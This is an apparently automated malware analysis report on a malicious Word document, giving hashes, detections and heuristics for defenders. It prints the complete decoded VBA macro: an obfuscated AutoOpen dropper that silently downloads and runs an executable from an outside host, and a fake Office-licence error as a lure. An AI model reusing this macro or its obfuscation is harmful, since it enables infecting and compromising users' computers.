Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb8575b65fc95a2d…

MALICIOUS

Office (OLE)

117.5 KB Created: 2017-05-09 08:23:00 First seen: 2018-07-04
MD5: 5da1d43f231c96d82d974db4473f6cac SHA-1: eb42a0ebf85ddd98e8c101f4aec5c651a0787f19 SHA-256: fb8575b65fc95a2dd58ad5ff9f4e7c60fdcb77badb3616f84b2228da0f8189e0
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine that uses the Shell() function to execute a command. The document body explicitly instructs the user to "Enable editing" and "Enable Content", a common lure for macro-based malware. The obfuscated script likely downloads and executes a second-stage payload, as indicated by the Shell() call and the ClamAV detection name 'Doc.Dropper.Agent'.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6477314-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6477314-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Shell Jbpaven, vbHide
MsgBox Gkkaxnwwlyredlaks
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Jbpaven = Jbpaven & Wawczspesfvoswaigne("fpg1h{h 2f %zdlwiru ") & Wawczspesfvoswaigne("2w 8 \NHUT ) elwvdgp") & Wawczspesfvoswaigne("lq 2wudq") & Wawczspesfvoswaigne("vihu ") & Wawczspesfvoswaigne("XNH") & Wawczspesfvoswaigne("I 2grzqordg 2sul") & Wawczspesfvoswaigne("rulw| qrupdo kw") & Wawczspesfvoswaigne("wsv=22zzz1zwuompsj")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2689 bytes
SHA-256: 2d5e2e475d5b13cc8a5ff3e005f58137e2642802f8cf6f587a005996368a2311
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Jbpaven = Jbpaven & Wawczspesfvoswaigne("fpg1h{h 2f %zdlwiru ") & Wawczspesfvoswaigne("2w 8 \NHUT ) elwvdgp") & Wawczspesfvoswaigne("lq 2wudq") & Wawczspesfvoswaigne("vihu ") & Wawczspesfvoswaigne("XNH") & Wawczspesfvoswaigne("I 2grzqordg 2sul") & Wawczspesfvoswaigne("rulw| qrupdo kw") & Wawczspesfvoswaigne("wsv=22zzz1zwuompsj")
Jbpaven = Jbpaven & Wawczspesfvoswaigne("6j}oj1elg2Ordghu1h{h (") & Wawczspesfvoswaigne("dssgd") & Wawczspesfvoswaigne("wd(_ypef|m1h{h )vwdu") & Wawczspesfvoswaigne("w (dssgdwd(_ypef|m1h{h%")
Gkkaxnwwlyredlaks = Gkkaxnwwlyredlaks & Wawczspesfvoswaigne("Huur") & Wawczspesfvoswaigne("u 4<;:7= \rx pxvw kdyh Riil") & Wawczspesfvoswaigne("fh Surihvvlrqdo Hglwlrq wr u") & Wawczspesfvoswaigne("hdg wklv") & Wawczspesfvoswaigne(" frqw") & Wawczspesfvoswaigne("hqw/ sohdvh xsjudgh |rxu")
Gkkaxnwwlyredlaks = Gkkaxnwwlyredlaks & Wawczspesfvoswaigne(" olfhqfh1 Yl") & Wawczspesfvoswaigne("vlw ") & Wawczspesfvoswaigne("zzz1plfurvriw1frp iru khos")
    
Shell Jbpaven, vbHide
MsgBox Gkkaxnwwlyredlaks
If 727 * 6 = 17036 - 3395 Then
tddhtex = "eugbj"
End If
End Sub
Private Function Rhphlnjibgbxcljzd(ByVal Gpnamnf As String, ByVal Mtafulesi As Long) As String
Dim Ovifmhfsnzykltbrds, Lrsfhksgaaek, Baouxkhbylupdrtsagkfosm As Long
If Len("fyaxaca") <> 630 Then
' dnrbhhoz
Else
' tyudk
MsgBox "avklwlv", 24, "sgzbxpee"
End If
Ovifmhfsnzykltbrds = Len(Gpnamnf)
Dim Bljuajbxboklsawhuhyb As String
Dim Defmvhhjazarcxx() As Long
ReDim Defmvhhjazarcxx(1 To Ovifmhfsnzykltbrds)
For Baouxkhbylupdrtsagkfosm = 1 To Ovifmhfsnzykltbrds
Lrsfhksgaaek = Asc(Mid(Gpnamnf, Baouxkhbylupdrtsagkfosm, 1))
If Lrsfhksgaaek = 32 Then
Defmvhhjazarcxx(Baouxkhbylupdrtsagkfosm) = Lrsfhksgaaek
Else:
Lrsfhksgaaek = Lrsfhksgaaek - Mtafulesi
If 70 * 6 = 24790 - 3979 Then
lngxuox = "koutnoa"
End If
Defmvhhjazarcxx(Baouxkhbylupdrtsagkfosm) = Lrsfhksgaaek
End If
If Len("nlpec") <> 442 Then
' hnrzymeg
Else
' fztsl
MsgBox "xnickf", 574, "mzrwjhv"
End If
Bljuajbxboklsawhuhyb = Bljuajbxboklsawhuhyb & Chr(Defmvhhjazarcxx(Baouxkhbylupdrtsagkfosm))
Next
Rhphlnjibgbxcljzd = Bljuajbxboklsawhuhyb
End Function
Private Function Wawczspesfvoswaigne(Mtwf As String)
If Len("wioohj") <> 819 Then
' kvdkyz
Else
' zjtpkh
MsgBox "otcwo", 581, "dktkn"
End If
Wawczspesfvoswaigne = Rhphlnjibgbxcljzd(Mtwf, 3)
End Function

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